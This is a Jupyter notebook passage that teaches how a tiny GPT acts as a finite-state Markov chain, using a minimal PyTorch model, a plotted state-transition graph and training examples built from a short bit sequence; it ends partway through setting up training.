gpt_finite_state.ipynb

{
  "nbformat": 4,
  "nbformat_minor": 0,
  "metadata": {
    "colab": {
      "provenance": [],
      "include_colab_link": true
    },
    "kernelspec": {
      "name": "python3",
      "display_name": "Python 3"
    },
    "language_info": {
      "name": "python"
    }
  },
  "cells": [
    {
      "cell_type": "markdown",
      "metadata": {
        "id": "view-in-github",
        "colab_type": "text"
      },
      "source": [
        "<a href=\"https://colab.research.google.com/github/foxtrotmike/CS909/blob/master/gpt_finite_state.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>"
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "## GPT as a finite-state markov chain\n",
        "By\n",
        "\n",
        "[Andrej Karpathy](https://twitter.com/karpathy/status/1645115622517542913?lang=en)\n",
        "\n",
        "GPT is a neural net that takes some sequence of discrete tokens and predicts a probabilities for a next token in the sequence. For example, if there are only two tokens 0 and 1, then a tiny little binary GPT could e.g. tell us that:\n",
        "\n",
        "```\n",
        "[0,1,0] ---> GPT ---> [P(0) = 20%, P(1) = 80%]\n",
        "```\n",
        "\n",
        "Here, GPT took the sequence of bits [0,1,0] and, based on the current setting of parameters, predicted that there is an 80% chance of 1 coming next. Importantly, GPTs by default have a finite context length. For example, if the context length is 3 then they can only take up to 3 tokens at the input. In the case above, if we flip a biased coin and sample that 1 should indeed come next, then we'd transition from the original state [0,1,0] to a new state [1,0,1]. We've added the new bit (1) on the right, and truncated the sequence to the context length 3 by discarding the leftmost bit (0). We can then repeat this process over and over again to transition between states.\n",
        "\n",
        "Clearly then, GPT is a finite-state markov chain: there is a finite set of states and probabilistic transitions arrows between them. Each state is defined by a specific setting of the token identities at the input to the GPT (e.g. [0,1,0]). And we can transition to new states like [1,0,1] with some probability. Let's see how this works in detail."
      ],
      "metadata": {
        "id": "mGHwSuHQuTXI"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "# hyperparameters for our GPT\n",
        "\n",
        "# vocab size is 2, so we only have two possible tokens: 0,1\n",
        "vocab_size = 2\n",
        "# context length is 3, so we take 3 bits to predict the next bit probability\n",
        "context_length = 3"
      ],
      "metadata": {
        "id": "d7utFz27cO9q"
      },
      "execution_count": null,
      "outputs": []
    },
    {
      "cell_type": "markdown",
      "source": [
        "The input to the GPT neural net is a sequence of tokens of length `context_length`. These tokens are discrete, so the state space is simply:"
      ],
      "metadata": {
        "id": "Y60T3enLvRx6"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "print('state space (for this exercise) = ', vocab_size ** context_length)"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "bA0U1bJKu5Cc",
        "outputId": "8ca9a8f3-3759-4045-9898-3fa322c47a62"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "state space (for this exercise) =  8\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "**Detail**: To be exact, a GPT can take any number of tokens from 1 to `context_length`. So if the context length is 3, we could in principle feed in 1 token, 2 tokens or 3 tokens, when trying to predict the next token. Here we are going to ignore this and assume that the context length is \"maxed out\", just to simplify some of the code below, but this is worth keeping in mind."
      ],
      "metadata": {
        "id": "m1q40BfkevBw"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "print('actual state space (in reality) = ', sum(vocab_size ** i for i in range(1, context_length+1)))"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "u8YYpQadeyrY",
        "outputId": "66b68067-4944-458c-9c3e-89e23c297922"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "actual state space (in reality) =  14\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "We are now going to define a GPT in PyTorch. You do not have to understand any of this code for the purposes of this notebook, so I will keep it collapsed by default."
      ],
      "metadata": {
        "id": "lLPtEPUUwa4G"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "#@title minimal GPT implementation in PyTorch (optional)\n",
        "\"\"\" super minimal decoder-only gpt \"\"\"\n",
        "\n",
        "import math\n",
        "from dataclasses import dataclass\n",
        "import torch\n",
        "import torch.nn as nn\n",
        "from torch.nn import functional as F\n",
        "\n",
        "torch.manual_seed(1337)\n",
        "\n",
        "class CausalSelfAttention(nn.Module):\n",
        "\n",
        "    def __init__(self, config):\n",
        "        super().__init__()\n",
        "        assert config.n_embd % config.n_head == 0\n",
        "        # key, query, value projections for all heads, but in a batch\n",
        "        self.c_attn = nn.Linear(config.n_embd, 3 * config.n_embd, bias=config.bias)\n",
        "        # output projection\n",
        "        self.c_proj = nn.Linear(config.n_embd, config.n_embd, bias=config.bias)\n",
        "        # regularization\n",
        "        self.n_head = config.n_head\n",
        "        self.n_embd = config.n_embd\n",
        "        self.register_buffer(\"bias\", torch.tril(torch.ones(config.block_size, config.block_size))\n",
        "                                    .view(1, 1, config.block_size, config.block_size))\n",
        "\n",
        "    def forward(self, x):\n",
        "        B, T, C = x.size() # batch size, sequence length, embedding dimensionality (n_embd)\n",
        "\n",
        "        # calculate query, key, values for all heads in batch and move head forward to be the batch dim\n",
        "        q, k ,v  = self.c_attn(x).split(self.n_embd, dim=2)\n",
        "        k = k.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)\n",
        "        q = q.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)\n",
        "        v = v.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)\n",
        "\n",
        "        # manual implementation of attention\n",
        "        att = (q @ k.transpose(-2, -1)) * (1.0 / math.sqrt(k.size(-1)))\n",
        "        att = att.masked_fill(self.bias[:,:,:T,:T] == 0, float('-inf'))\n",
        "        att = F.softmax(att, dim=-1)\n",
        "        y = att @ v # (B, nh, T, T) x (B, nh, T, hs) -> (B, nh, T, hs)\n",
        "        y = y.transpose(1, 2).contiguous().view(B, T, C) # re-assemble all head outputs side by side\n",
        "\n",
        "        # output projection\n",
        "        y = self.c_proj(y)\n",
        "        return y\n",
        "\n",
        "class MLP(nn.Module):\n",
        "\n",
        "    def __init__(self, config):\n",
        "        super().__init__()\n",
        "        self.c_fc    = nn.Linear(config.n_embd, 4 * config.n_embd, bias=config.bias)\n",
        "        self.c_proj  = nn.Linear(4 * config.n_embd, config.n_embd, bias=config.bias)\n",
        "        self.nonlin = nn.GELU()\n",
        "\n",
        "    def forward(self, x):\n",
        "        x = self.c_fc(x)\n",
        "        x = self.nonlin(x)\n",
        "        x = self.c_proj(x)\n",
        "        return x\n",
        "\n",
        "class Block(nn.Module):\n",
        "\n",
        "    def __init__(self, config):\n",
        "        super().__init__()\n",
        "        self.ln_1 = nn.LayerNorm(config.n_embd)\n",
        "        self.attn = CausalSelfAttention(config)\n",
        "        self.ln_2 = nn.LayerNorm(config.n_embd)\n",
        "        self.mlp = MLP(config)\n",
        "\n",
        "    def forward(self, x):\n",
        "        x = x + self.attn(self.ln_1(x))\n",
        "        x = x + self.mlp(self.ln_2(x))\n",
        "        return x\n",
        "\n",
        "@dataclass\n",
        "class GPTConfig:\n",
        "    # these are default GPT-2 hyperparameters\n",
        "    block_size: int = 1024\n",
        "    vocab_size: int = 50304\n",
        "    n_layer: int = 12\n",
        "    n_head: int = 12\n",
        "    n_embd: int = 768\n",
        "    bias: bool = False\n",
        "\n",
        "class GPT(nn.Module):\n",
        "\n",
        "    def __init__(self, config):\n",
        "        super().__init__()\n",
        "        assert config.vocab_size is not None\n",
        "        assert config.block_size is not None\n",
        "        self.config = config\n",
        "\n",
        "        self.transformer = nn.ModuleDict(dict(\n",
        "            wte = nn.Embedding(config.vocab_size, config.n_embd),\n",
        "            wpe = nn.Embedding(config.block_size, config.n_embd),\n",
        "            h = nn.ModuleList([Block(config) for _ in range(config.n_layer)]),\n",
        "            ln_f = nn.LayerNorm(config.n_embd),\n",
        "        ))\n",
        "        self.lm_head = nn.Linear(config.n_embd, config.vocab_size, bias=False)\n",
        "        self.transformer.wte.weight = self.lm_head.weight # https://paperswithcode.com/method/weight-tying\n",
        "\n",
        "        # init all weights\n",
        "        self.apply(self._init_weights)\n",
        "        # apply special scaled init to the residual projections, per GPT-2 paper\n",
        "        for pn, p in self.named_parameters():\n",
        "            if pn.endswith('c_proj.weight'):\n",
        "                torch.nn.init.normal_(p, mean=0.0, std=0.02/math.sqrt(2 * config.n_layer))\n",
        "\n",
        "        # report number of parameters\n",
        "        print(\"number of parameters: %d\" % (sum(p.nelement() for p in self.parameters()),))\n",
        "\n",
        "    def _init_weights(self, module):\n",
        "        if isinstance(module, nn.Linear):\n",
        "            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)\n",
        "            if module.bias is not None:\n",
        "                torch.nn.init.zeros_(module.bias)\n",
        "        elif isinstance(module, nn.Embedding):\n",
        "            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)\n",
        "\n",
        "    def forward(self, idx):\n",
        "        device = idx.device\n",
        "        b, t = idx.size()\n",
        "        assert t <= self.config.block_size, f\"Cannot forward sequence of length {t}, block size is only {self.config.block_size}\"\n",
        "        pos = torch.arange(0, t, dtype=torch.long, device=device).unsqueeze(0) # shape (1, t)\n",
        "\n",
        "        # forward the GPT model itself\n",
        "        tok_emb = self.transformer.wte(idx) # token embeddings of shape (b, t, n_embd)\n",
        "        pos_emb = self.transformer.wpe(pos) # position embeddings of shape (1, t, n_embd)\n",
        "        x = tok_emb + pos_emb\n",
        "        for block in self.transformer.h:\n",
        "            x = block(x)\n",
        "        x = self.transformer.ln_f(x)\n",
        "        logits = self.lm_head(x[:, -1, :]) # note: only returning logits at the last time step (-1), output is 2D (b, vocab_size)\n",
        "        return logits\n",
        "\n"
      ],
      "metadata": {
        "cellView": "form",
        "id": "wW1-8xqswRYg"
      },
      "execution_count": null,
      "outputs": []
    },
    {
      "cell_type": "markdown",
      "source": [
        "Let's now construct the GPT:"
      ],
      "metadata": {
        "id": "QMkDoUgrxODM"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "config = GPTConfig(\n",
        "    block_size = context_length,\n",
        "    vocab_size = vocab_size,\n",
        "    n_layer = 4,\n",
        "    n_head = 4,\n",
        "    n_embd = 16,\n",
        "    bias = False,\n",
        ")\n",
        "gpt = GPT(config)"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "G6ouKrJ0wr03",
        "outputId": "c8ceb54c-e8e3-442e-e1e6-2e6eb7914750"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "number of parameters: 12656\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "For this notebook you don't have to worry about `n_layer, n_head, n_embd, bias`, these are just some hyperparameters for the Transformer neural net that implements the GPT.\n",
        "\n",
        "The parameters of the GPT (12,656 of them) are initialized at random, and they parameterize the transition probabilities between the states. If you smoothly change these parameters, you will smoothly impact the transition probabilities between the states.\n",
        "\n",
        "Now let's take our randomly initialized GPT for a spin. Let's get all the possible inputs to our little binary GPT with context length of 3:"
      ],
      "metadata": {
        "id": "3V3GV9XGxcH5"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "def all_possible(n, k):\n",
        "    # return all possible lists of k elements, each in range of [0,n)\n",
        "    if k == 0:\n",
        "        yield []\n",
        "    else:\n",
        "        for i in range(n):\n",
        "            for c in all_possible(n, k - 1):\n",
        "                yield [i] + c\n",
        "list(all_possible(vocab_size, context_length))"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "eNAcd1qYxZ1P",
        "outputId": "9576fc9c-43d3-4009-cbb8-cd5285d9ad3e"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "execute_result",
          "data": {
            "text/plain": [
              "[[0, 0, 0],\n",
              " [0, 0, 1],\n",
              " [0, 1, 0],\n",
              " [0, 1, 1],\n",
              " [1, 0, 0],\n",
              " [1, 0, 1],\n",
              " [1, 1, 0],\n",
              " [1, 1, 1]]"
            ]
          },
          "metadata": {},
          "execution_count": 6
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "These 8 possibilities are the 8 possible states the GPT can be in. So let's run the GPT on every one of these possible token sequence and get the probabilities of the next token in the sequence, and plot as a pretty graph:"
      ],
      "metadata": {
        "id": "em56_pfu0hNd"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "# we'll use graphviz for pretty plotting the current state of the GPT\n",
        "from graphviz import Digraph\n",
        "\n",
        "def plot_model():\n",
        "    dot = Digraph(comment='Baby GPT', engine='circo')\n",
        "\n",
        "    for xi in all_possible(gpt.config.vocab_size, gpt.config.block_size):\n",
        "\n",
        "        # forward the GPT and get probabilities for next token\n",
        "        x = torch.tensor(xi, dtype=torch.long)[None, ...] # turn the list into a torch tensor and add a batch dimension\n",
        "        logits = gpt(x) # forward the gpt neural net\n",
        "        probs = nn.functional.softmax(logits, dim=-1) # get the probabilities\n",
        "        y = probs[0].tolist() # remove the batch dimension and unpack the tensor into simple list\n",
        "        print(f\"input {xi} ---> {y}\")\n",
        "\n",
        "        # also build up the transition graph for plotting later\n",
        "        current_node_signature = \"\".join(str(d) for d in xi)\n",
        "        dot.node(current_node_signature)\n",
        "        for t in range(gpt.config.vocab_size):\n",
        "            next_node = xi[1:] + [t] # crop the context and append the next character\n",
        "            next_node_signature = \"\".join(str(d) for d in next_node)\n",
        "            p = y[t]\n",
        "            label=f\"{t}({p*100:.0f}%)\"\n",
        "            dot.edge(current_node_signature, next_node_signature, label=label)\n",
        "\n",
        "    return dot\n",
        "\n",
        "plot_model()"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/",
          "height": 644
        },
        "id": "yseminfTx52k",
        "outputId": "ae7a25ed-c528-4ad7-ffa9-6366fb434f56"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "input [0, 0, 0] ---> [0.4963349997997284, 0.5036649107933044]\n",
            "input [0, 0, 1] ---> [0.4515703618526459, 0.5484296679496765]\n",
            "input [0, 1, 0] ---> [0.49648362398147583, 0.5035163760185242]\n",
            "input [0, 1, 1] ---> [0.45181113481521606, 0.5481888651847839]\n",
            "input [1, 0, 0] ---> [0.4961162209510803, 0.5038837194442749]\n",
            "input [1, 0, 1] ---> [0.4517717957496643, 0.5482282042503357]\n",
            "input [1, 1, 0] ---> [0.4962802827358246, 0.5037197470664978]\n",
            "input [1, 1, 1] ---> [0.4520467519760132, 0.5479532480239868]\n"
          ]
        },
        {
          "output_type": "execute_result",
          "data": {
            "image/svg+xml": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\"\n \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<!-- Generated by graphviz version 2.43.0 (0)\n -->\n<!-- Title: %3 Pages: 1 -->\n<svg width=\"396pt\" height=\"365pt\"\n viewBox=\"0.00 0.00 395.87 364.86\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<g id=\"graph0\" class=\"graph\" transform=\"scale(1 1) rotate(0) translate(4 360.86)\">\n<title>%3</title>\n<polygon fill=\"white\" stroke=\"transparent\" points=\"-4,4 -4,-360.86 391.87,-360.86 391.87,4 -4,4\"/>\n<!-- 000 -->\n<g id=\"node1\" class=\"node\">\n<title>000</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"300.87\" cy=\"-64.99\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"300.87\" y=\"-61.29\" font-family=\"Times,serif\" font-size=\"14.00\">000</text>\n</g>\n<!-- 000&#45;&gt;000 -->\n<g id=\"edge1\" class=\"edge\">\n<title>000&#45;&gt;000</title>\n<path fill=\"none\" stroke=\"black\" d=\"M326.31,-71.68C336.9,-72.14 345.87,-69.91 345.87,-64.99 345.87,-61.76 342,-59.69 336.36,-58.78\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"336.47,-55.28 326.31,-58.3 336.13,-62.27 336.47,-55.28\"/>\n<text text-anchor=\"middle\" x=\"366.87\" y=\"-61.29\" font-family=\"Times,serif\" font-size=\"14.00\">0(50%)</text>\n</g>\n<!-- 001 -->\n<g id=\"node2\" class=\"node\">\n<title>001</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"73.99\" cy=\"-64.99\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"73.99\" y=\"-61.29\" font-family=\"Times,serif\" font-size=\"14.00\">001</text>\n</g>\n<!-- 000&#45;&gt;001 -->\n<g id=\"edge2\" class=\"edge\">\n<title>000&#45;&gt;001</title>\n<path fill=\"none\" stroke=\"black\" d=\"M273.5,-64.99C232.94,-64.99 156.75,-64.99 111.16,-64.99\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"111.1,-61.49 101.1,-64.99 111.1,-68.49 111.1,-61.49\"/>\n<text text-anchor=\"middle\" x=\"171.33\" y=\"-68.79\" font-family=\"Times,serif\" font-size=\"14.00\">1(50%)</text>\n</g>\n<!-- 010 -->\n<g id=\"node3\" class=\"node\">\n<title>010</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"27\" cy=\"-178.43\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"27\" y=\"-174.73\" font-family=\"Times,serif\" font-size=\"14.00\">010</text>\n</g>\n<!-- 001&#45;&gt;010 -->\n<g id=\"edge3\" class=\"edge\">\n<title>001&#45;&gt;010</title>\n<path fill=\"none\" stroke=\"black\" d=\"M66.65,-82.71C59.03,-101.11 47.01,-130.12 38.2,-151.38\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"34.88,-150.25 34.29,-160.83 41.35,-152.93 34.88,-150.25\"/>\n<text text-anchor=\"middle\" x=\"31.42\" y=\"-120.85\" font-family=\"Times,serif\" font-size=\"14.00\">0(45%)</text>\n</g>\n<!-- 011 -->\n<g id=\"node4\" class=\"node\">\n<title>011</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"187.43\" cy=\"-338.86\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"187.43\" y=\"-335.16\" font-family=\"Times,serif\" font-size=\"14.00\">011</text>\n</g>\n<!-- 001&#45;&gt;011 -->\n<g id=\"edge4\" class=\"edge\">\n<title>001&#45;&gt;011</title>\n<path fill=\"none\" stroke=\"black\" d=\"M81.26,-82.54C100.55,-129.1 153.13,-256.05 176.26,-311.89\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"173.16,-313.55 180.22,-321.45 179.63,-310.88 173.16,-313.55\"/>\n<text text-anchor=\"middle\" x=\"107.76\" y=\"-201.01\" font-family=\"Times,serif\" font-size=\"14.00\">1(55%)</text>\n</g>\n<!-- 100 -->\n<g id=\"node5\" class=\"node\">\n<title>100</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"187.43\" cy=\"-18\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"187.43\" y=\"-14.3\" font-family=\"Times,serif\" font-size=\"14.00\">100</text>\n</g>\n<!-- 010&#45;&gt;100 -->\n<g id=\"edge5\" class=\"edge\">\n<title>010&#45;&gt;100</title>\n<path fill=\"none\" stroke=\"black\" d=\"M42.09,-163.34C70.4,-135.03 131.6,-73.83 164.83,-40.59\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"167.66,-42.72 172.26,-33.17 162.71,-37.77 167.66,-42.72\"/>\n<text text-anchor=\"middle\" x=\"82.46\" y=\"-105.76\" font-family=\"Times,serif\" font-size=\"14.00\">0(50%)</text>\n</g>\n<!-- 101 -->\n<g id=\"node6\" class=\"node\">\n<title>101</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"73.99\" cy=\"-291.87\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"73.99\" y=\"-288.17\" font-family=\"Times,serif\" font-size=\"14.00\">101</text>\n</g>\n<!-- 010&#45;&gt;101 -->\n<g id=\"edge6\" class=\"edge\">\n<title>010&#45;&gt;101</title>\n<path fill=\"none\" stroke=\"black\" d=\"M29.2,-196.56C34.81,-215.52 46.82,-245.38 57.17,-266.63\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"54.14,-268.38 61.78,-275.72 60.38,-265.22 54.14,-268.38\"/>\n<text text-anchor=\"middle\" x=\"22.19\" y=\"-235.39\" font-family=\"Times,serif\" font-size=\"14.00\">1(50%)</text>\n</g>\n<!-- 110 -->\n<g id=\"node7\" class=\"node\">\n<title>110</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"347.86\" cy=\"-178.43\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"347.86\" y=\"-174.73\" font-family=\"Times,serif\" font-size=\"14.00\">110</text>\n</g>\n<!-- 011&#45;&gt;110 -->\n<g id=\"edge7\" class=\"edge\">\n<title>011&#45;&gt;110</title>\n<path fill=\"none\" stroke=\"black\" d=\"M202.52,-323.76C230.83,-295.46 292.02,-234.26 325.26,-201.02\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"328.09,-203.14 332.69,-193.6 323.14,-198.19 328.09,-203.14\"/>\n<text text-anchor=\"middle\" x=\"242.89\" y=\"-266.19\" font-family=\"Times,serif\" font-size=\"14.00\">0(45%)</text>\n</g>\n<!-- 111 -->\n<g id=\"node8\" class=\"node\">\n<title>111</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"300.87\" cy=\"-291.87\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"300.87\" y=\"-288.17\" font-family=\"Times,serif\" font-size=\"14.00\">111</text>\n</g>\n<!-- 011&#45;&gt;111 -->\n<g id=\"edge8\" class=\"edge\">\n<title>011&#45;&gt;111</title>\n<path fill=\"none\" stroke=\"black\" d=\"M210.38,-329.35C227.03,-322.45 249.79,-313.03 268.31,-305.35\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"269.66,-308.58 277.56,-301.52 266.98,-302.12 269.66,-308.58\"/>\n<text text-anchor=\"middle\" x=\"218.35\" y=\"-306.15\" font-family=\"Times,serif\" font-size=\"14.00\">1(55%)</text>\n</g>\n<!-- 100&#45;&gt;000 -->\n<g id=\"edge9\" class=\"edge\">\n<title>100&#45;&gt;000</title>\n<path fill=\"none\" stroke=\"black\" d=\"M210.38,-27.51C227.03,-34.41 249.79,-43.83 268.31,-51.5\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"266.98,-54.74 277.56,-55.33 269.66,-48.27 266.98,-54.74\"/>\n<text text-anchor=\"middle\" x=\"218.35\" y=\"-43.31\" font-family=\"Times,serif\" font-size=\"14.00\">0(50%)</text>\n</g>\n<!-- 100&#45;&gt;001 -->\n<g id=\"edge10\" class=\"edge\">\n<title>100&#45;&gt;001</title>\n<path fill=\"none\" stroke=\"black\" d=\"M164.47,-27.51C147.82,-34.41 125.07,-43.83 106.55,-51.5\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"105.2,-48.27 97.3,-55.33 107.88,-54.74 105.2,-48.27\"/>\n<text text-anchor=\"middle\" x=\"114.51\" y=\"-28.31\" font-family=\"Times,serif\" font-size=\"14.00\">1(50%)</text>\n</g>\n<!-- 101&#45;&gt;010 -->\n<g id=\"edge11\" class=\"edge\">\n<title>101&#45;&gt;010</title>\n<path fill=\"none\" stroke=\"black\" d=\"M71.78,-273.74C66.18,-254.77 54.17,-224.92 43.82,-203.66\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"46.85,-201.91 39.21,-194.57 40.61,-205.08 46.85,-201.91\"/>\n<text text-anchor=\"middle\" x=\"78.8\" y=\"-242.5\" font-family=\"Times,serif\" font-size=\"14.00\">0(45%)</text>\n</g>\n<!-- 101&#45;&gt;011 -->\n<g id=\"edge12\" class=\"edge\">\n<title>101&#45;&gt;011</title>\n<path fill=\"none\" stroke=\"black\" d=\"M96.94,-301.38C113.59,-308.27 136.35,-317.7 154.87,-325.37\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"153.54,-328.61 164.12,-329.2 156.22,-322.14 153.54,-328.61\"/>\n<text text-anchor=\"middle\" x=\"104.91\" y=\"-317.17\" font-family=\"Times,serif\" font-size=\"14.00\">1(55%)</text>\n</g>\n<!-- 110&#45;&gt;100 -->\n<g id=\"edge13\" class=\"edge\">\n<title>110&#45;&gt;100</title>\n<path fill=\"none\" stroke=\"black\" d=\"M332.76,-163.34C304.46,-135.03 243.26,-73.83 210.02,-40.59\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"212.14,-37.77 202.6,-33.17 207.19,-42.72 212.14,-37.77\"/>\n<text text-anchor=\"middle\" x=\"250.39\" y=\"-105.76\" font-family=\"Times,serif\" font-size=\"14.00\">0(50%)</text>\n</g>\n<!-- 110&#45;&gt;101 -->\n<g id=\"edge14\" class=\"edge\">\n<title>110&#45;&gt;101</title>\n<path fill=\"none\" stroke=\"black\" d=\"M324.51,-188.1C275.7,-208.32 162.76,-255.1 106.73,-278.31\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"105.18,-275.16 97.28,-282.22 107.86,-281.63 105.18,-275.16\"/>\n<text text-anchor=\"middle\" x=\"194.62\" y=\"-237\" font-family=\"Times,serif\" font-size=\"14.00\">1(50%)</text>\n</g>\n<!-- 111&#45;&gt;110 -->\n<g id=\"edge15\" class=\"edge\">\n<title>111&#45;&gt;110</title>\n<path fill=\"none\" stroke=\"black\" d=\"M308.21,-274.14C315.83,-255.75 327.85,-226.74 336.65,-205.48\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"339.97,-206.61 340.57,-196.03 333.51,-203.93 339.97,-206.61\"/>\n<text text-anchor=\"middle\" x=\"301.43\" y=\"-243.61\" font-family=\"Times,serif\" font-size=\"14.00\">0(45%)</text>\n</g>\n<!-- 111&#45;&gt;111 -->\n<g id=\"edge16\" class=\"edge\">\n<title>111&#45;&gt;111</title>\n<path fill=\"none\" stroke=\"black\" d=\"M326.31,-298.56C336.9,-299.02 345.87,-296.79 345.87,-291.87 345.87,-288.64 342,-286.57 336.36,-285.66\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"336.47,-282.16 326.31,-285.18 336.13,-289.15 336.47,-282.16\"/>\n<text text-anchor=\"middle\" x=\"366.87\" y=\"-288.17\" font-family=\"Times,serif\" font-size=\"14.00\">1(55%)</text>\n</g>\n</g>\n</svg>\n",
            "text/plain": [
              "<graphviz.graphs.Digraph at 0x7f4d689394f0>"
            ]
          },
          "metadata": {},
          "execution_count": 7
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "We see our 8 states, and the probabilistic arrows that connect them. Because there are 2 possible tokens, there are 2 possible arrows coming out of each node. Note that every time we \"transition\" via an edge, the leftmost token gets dropped, and the token on that edge gets appended to the right. Notice that at initialization, most of these probabilities are around uniform (50% in this case), which is nice and desirable, as we haven't even trained the model at all.\n",
        "\n",
        "Let's do that now:"
      ],
      "metadata": {
        "id": "2Y7meqjmiVgu"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "# let's train our baby GPT on this sequence\n",
        "seq = list(map(int, \"111101111011110\"))\n",
        "seq"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "GyU9fxAA3HBB",
        "outputId": "d1840fc4-e553-4ae0-eafb-df102d79d7d7"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "execute_result",
          "data": {
            "text/plain": [
              "[1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0]"
            ]
          },
          "metadata": {},
          "execution_count": 8
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "# convert the sequence to a tensor holding all the individual examples in that sequence\n",
        "X, Y = [], []\n",
        "# iterate over the sequence and grab every consecutive 3 bits\n",
        "# the correct label for what's next is the next bit at each position\n",
        "for i in range(len(seq) - context_length):\n",
        "    X.append(seq[i:i+context_length])\n",
        "    Y.append(seq[i+context_length])\n",
        "    print(f\"example {i+1:2d}: {X[-1]} --> {Y[-1]}\")\n",
        "X = torch.tensor(X, dtype=torch.long)\n",
        "Y = torch.tensor(Y, dtype=torch.long)\n",
        "print(X.shape, Y.shape)"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "40eCLZCH3n-D",
        "outputId": "c3047de4-790e-44b6-d20a-25ff9e180e98"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "example  1: [1, 1, 1] --> 1\n",
            "example  2: [1, 1, 1] --> 0\n",
            "example  3: [1, 1, 0] --> 1\n",
            "example  4: [1, 0, 1] --> 1\n",
            "example  5: [0, 1, 1] --> 1\n",
            "example  6: [1, 1, 1] --> 1\n",
            "example  7: [1, 1, 1] --> 0\n",
            "example  8: [1, 1, 0] --> 1\n",
            "example  9: [1, 0, 1] --> 1\n",
            "example 10: [0, 1, 1] --> 1\n",
            "example 11: [1, 1, 1] --> 1\n",
            "example 12: [1, 1, 1] --> 0\n",
            "torch.Size([12, 3]) torch.Size([12])\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "We see that we have 12 examples in that one sequence. Let's train it now:"
      ],
      "metadata": {
        "id": "33xumDtdi-ND"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "# init a GPT and the optimizer\n",
        "torch.manual_seed(1337)\n",
        "gpt = GPT(config)\n",
        "optimizer = torch.optim.AdamW(gpt.parameters(), lr=1e-3, weight_decay=1e-1)"
      ],
      "metadata": {
        "colab": {
